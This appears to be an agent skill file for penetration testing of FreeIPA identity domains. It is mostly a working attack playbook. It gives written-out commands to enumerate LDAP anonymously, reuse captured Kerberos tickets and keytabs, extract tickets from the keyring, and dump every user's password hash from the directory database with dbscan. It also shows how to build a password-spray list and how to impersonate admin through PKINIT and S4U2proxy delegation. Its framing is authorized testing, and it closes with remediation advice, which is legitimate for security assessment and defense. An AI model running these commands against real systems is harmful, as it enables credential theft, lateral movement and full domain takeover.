pentesting-freeipa
$
npx mdskill add xalgord/xalgorix/pentesting-freeipa- During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity - When `/etc/krb5.conf`, `/etc/ipa/default.conf`, or `/etc/krb5.keytab` are present on a compromised host (FreeIPA-joined) - After capturing a CCACHE ticket from `/tmp`, the keyring, or a keytab file - When you need an AD-BloodHound-style attack graph for a Unix domain - For HBAC/sudo-rule and role/privilege misconfiguration review
SKILL.md
.github/skills/pentesting-freeipaView on GitHub ↗
--- name: pentesting-freeipa description: Enumerating and attacking FreeIPA domains during authorized engagements — anonymous and authenticated LDAP enumeration, Kerberos ticket (CCACHE/keytab) abuse, HBAC and sudo-rule analysis, hash extraction, IPAHound graphing, and PKINIT/S4U2proxy delegation takeover paths. domain: cybersecurity subdomain: linux-hardening tags: - penetration-testing - linux - freeipa - kerberos - ldap version: '1.0' author: xalgorix license: Apache-2.0 --- # Pentesting FreeIPA ## When to Use - During authorized engagements against Unix/Linux environments that use FreeIPA for centralized identity - When `/etc/krb5.conf`, `/etc/ipa/default.conf`, or `/etc/krb5.keytab` are present on a compromised host (FreeIPA-joined) - After capturing a CCACHE ticket from `/tmp`, the keyring, or a keytab file - When you need an AD-BloodHound-style attack graph for a Unix domain - For HBAC/sudo-rule and role/privilege misconfiguration review ## Critical: Techniques Most Often Missed FreeIPA looks like "just LDAP + Kerberos," so testers under-enumerate. The richest paths are in HBAC rules, delegation attributes, and ticket reuse. - **Anonymous LDAP bind leaks the whole directory.** FreeIPA allows anonymous binds by default. - How to CONFIRM: `ldapsearch -x -h <ipa-server> -b "dc=domain,dc=local"` returns users/groups/hosts without credentials. - **CCACHE ticket reuse = passwordless auth.** Tickets in `/tmp` (mode 600) or the keyring can be exported and reused. - How to CONFIRM: `KRB5CCNAME=/tmp/krb5cc_1000 klist` shows a valid TGT; subsequent `ipa user-find` succeeds with no password. - **Keytab files yield TGTs without a password.** `/etc/krb5.keytab` or service keytabs let you `kinit -kt`. - How to CONFIRM: `klist -kt /etc/krb5.keytab` lists principals; `kinit -kt /etc/krb5.keytab host/$(hostname)` gets a TGT. - **HBAC CanSSH + CanSUDO to a DC is full domain compromise.** A sudo rule with `!authenticate` on the IPA server lets you read `id2entry.db`. - How to CONFIRM: `ipa sudorule-show <rule> --all` shows `ipaSudoOpt: !authenticate` and a host = the IPA server. - **Delegation attributes expose takeover paths.** `ipaAllowedToPerform;write_keys` (ForceChangePassword), `write_delegation` (RBCD), `IPAKrbOkToAuthAsDelegate`. - How to CONFIRM: IPAHound surfaces `ReadKerberosKey` / `ForceChangePassword` / `AddRBCD` edges from these attributes. - **`root` IPA user == AD Domain Admin; IPA server root reads all hashes.** `dbscan` on the server dumps `userPassword`/`ipaNTHash`. - How to CONFIRM: as root on the IPA server, `dbscan` over the directory DB returns base64 password hashes. ## Workflow ### Step 1: Fingerprint the FreeIPA Environment ```bash cat /etc/krb5.conf # KDC + admin server locations, realm cat /etc/ipa/default.conf # IPA client/server defaults ls -l /etc/krb5.keytab # host keytab present => joined host env | grep -i krb5 # KRB5CCNAME, KRB5_KTNAME, KRB5_CONFIG klist # any cached tickets already present ``` ### Step 2: Unauthenticated LDAP Enumeration ```bash # Anonymous bind dumps a large amount of directory data ldapsearch -x -h ipa.domain.local -b "dc=domain,dc=local" ldapsearch -x -h ipa.domain.local -b "cn=users,cn=accounts,dc=domain,dc=local" uid # Or hit the FreeIPA web UI on 443 for the same data ``` ### Step 3: Authenticate, Then Enumerate with ipa / LDAP (GSSAPI) ```bash # Obtain a ticket (password, keytab, or reuse an existing CCACHE) kinit user@DOMAIN.LOCAL kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL export KRB5CCNAME=/tmp/krb5cc_1000 # reuse a captured ticket # Authenticated LDAP (GSSAPI) ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain,dc=local" ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain,dc=local" ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain,dc=local" # Domain-joined binaries ipa user-find ; ipa usergroup-find ; ipa host-find ; ipa hostgroup-find ipa user-show <user> --all ``` ### Step 4: Analyze HBAC, Sudo Rules, Roles & Privileges ```bash # HBAC (who can access which host/service) ipa hbacrule-find ; ipa hbacrule-show <rule> --all ldapsearch -Y gssapi -b "cn=hbac,dc=domain,dc=local" # Sudo rules — look for !authenticate and runAs root ipa sudorule-find ; ipa sudorule-show <rule> --all ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain,dc=local" # Roles / privileges / permissions ipa role-find ; ipa privilege-find ; ipa permission-find ``` ### Step 5: Harvest & Reuse Kerberos Credentials ```bash # Parse / reuse a CCACHE ticket klist /tmp/krb5cc_* # inspect export KRB5CCNAME=/tmp/krb5cc_1000 && ipa user-find # reuse # Tickey extracts tickets from the Linux keyring ./tickey -i # Keytab -> TGT (no password needed) klist -kt /etc/krb5.keytab kinit -kt /etc/krb5.keytab host/$(hostname -f)@DOMAIN.LOCAL # On the IPA SERVER as root, dump hashes dbscan -f /var/lib/dirsrv/slapd-*/db/userRoot/id2entry.db # userPassword / ipaNTHash (base64) # linikatz / LinikatzV2 automate credential extraction from IPA/SSSD caches ``` ### Step 6: Build an Attack Graph (IPAHound) & Find Delegation Paths ```bash # Collect with Kerberos or user/pass IPAHound -k -s dc1.domain.local -a freeipa_apoc.json IPAHound -s dc1.domain.local -u 'uid=user,cn=users,cn=accounts,dc=domain,dc=local' -p 'Pass!' -a freeipa_apoc.json # Import into Neo4j and query password-sprayable principals # MATCH (n:IPAUser) WHERE n.PasswordAuthAllow = True RETURN n.krbCanonicalName # Pivot on CanSSH + CanSUDO edges; a path to a DC => domain compromise ``` ### Step 7: PKINIT / S4U2proxy Delegation Takeover (owned computer/service) ```bash # Write a cert into an owned service object, then PKINIT as it openssl req -new -newkey rsa:2048 -days 365 -nodes \ -keyout private.key -out cert.csr -subj '/CN=srv.domain.local' ipa cert-request cert.csr --certificate-out=srv.pem --principal=host/srv.domain.local # add userCertificate;binary to the LDAP object (ldapmodify), then: kinit -X X509_user_identity=FILE:srv.pem,private.key test/srv.domain.local@DOMAIN.LOCAL ldapwhoami -H ldap://dc1.domain.local # verify identity # With an AllowedToDelegate path, impersonate admin to LDAP via S4U2proxy kvno -U admin -k service.keytab -P ldap/dc1.domain.local@DOMAIN.LOCAL \ test/srv.domain.local@DOMAIN.LOCAL --out-cache ldap_admin.cache KRB5CCNAME=ldap_admin.cache ldapwhoami -H ldap://dc1.domain.local ``` ## Key Concepts | Concept | Description | |---------|-------------| | **FreeIPA** | Open-source AD alternative: LDAP directory + MIT Kerberos KDC + Dogtag CA, SSSD-integrated | | **CCACHE** | Binary Kerberos credential cache (in `/tmp` mode 600 or the keyring); reusable via `KRB5CCNAME` | | **Keytab** | File of principals + encrypted keys; yields a TGT with `kinit -kt`, no password | | **HBAC rule** | Host-Based Access Control — defines which users/hosts may reach which services (e.g. sshd) | | **Sudo rule** | Centralized sudo policy; `ipaSudoOpt=!authenticate` enables passwordless escalation | | **ipaNTHash / userPassword** | Base64 password material in LDAP; crackable (ipaNTHash easiest, then SSHA512, PBKDF2_SHA256) | | **PKINIT** | Certificate-based Kerberos pre-auth; abused by writing a cert into an owned object | ## Tools & Systems | Tool | Purpose | |------|---------| | **ipa** | Native domain enumeration/management CLI (user-find, sudorule-show, etc.) | | **ldapsearch** | Anonymous (`-x`) and authenticated (`-Y gssapi`) directory enumeration | | **kinit / klist / kvno** | Obtain, inspect, and request Kerberos tickets and service tickets | | **Tickey** | Extracts Kerberos tickets from the Linux keyring | | **dbscan** | Dumps LDAP DB on the IPA server to extract password hashes (requires root there) | | **IPAHound / IPAHound-GUI** | BloodHound-style FreeIPA attack-path graphing into Neo4j | | **LinikatzV2 / linikatz** | Extract IPA/SSSD credentials and tickets from a compromised host | ## Common Scenarios ### Scenario 1: Anonymous enumeration to spray list Anonymous `ldapsearch -x` dumps all `uid` values. IPAHound's `PasswordAuthAllow=True` query trims this to a focused spray list, recovering a low-priv account. ### Scenario 2: Keytab reuse for lateral movement A web app host holds `/etc/krb5.keytab`. `kinit -kt` produces a host TGT; combined with a `CanSSH` HBAC edge, the tester moves to another host without any password. ### Scenario 3: Sudo rule with !authenticate on the IPA server `ipa sudorule-show` reveals a rule granting a service account `!authenticate` root on the IPA server. SSHing there and copying `id2entry.db` exposes every domain hash. ### Scenario 4: Service delegation to LDAP admin An owned computer account owns its service principal. Writing a cert (PKINIT) and abusing an `AllowedToDelegate` path via S4U2proxy impersonates `admin` to LDAP, achieving domain compromise. ## Output Format ``` ## FreeIPA Compromise Finding **Vulnerability**: FreeIPA Domain Privilege Escalation **Severity**: Critical **Domain**: DOMAIN.LOCAL | IPA Server: dc1.domain.local ### Attack Path 1. Anonymous LDAP bind enumerated all users/hosts/HBAC rules 2. Captured CCACHE /tmp/krb5cc_1000 -> reused (KRB5CCNAME) as user 'svc-web' 3. IPAHound graph: svc-web --CanSSH--> dc1 --CanSUDO(!authenticate)--> root 4. Copied /var/lib/dirsrv/.../id2entry.db; dbscan dumped all ipaNTHash values ### Evidence $ ipa sudorule-show allow_svc_dc --all ipaSudoOpt: !authenticate ; host: dc1.domain.local ; runAsUser: root ### Impact Full domain compromise: all user/service hashes recovered, root on the KDC. ### Recommendation 1. Disable anonymous LDAP binds (nsslapd-allow-anonymous-access: off) 2. Scope HBAC/sudo rules tightly; never use !authenticate on the IPA server 3. Protect keytabs (mode 600, root-only) and purge stale CCACHE files from /tmp 4. Monitor delegation attributes (write_keys, write_delegation) for unexpected grants 5. Enforce strong KDF (PBKDF2_SHA256) and rotate credentials after exposure ```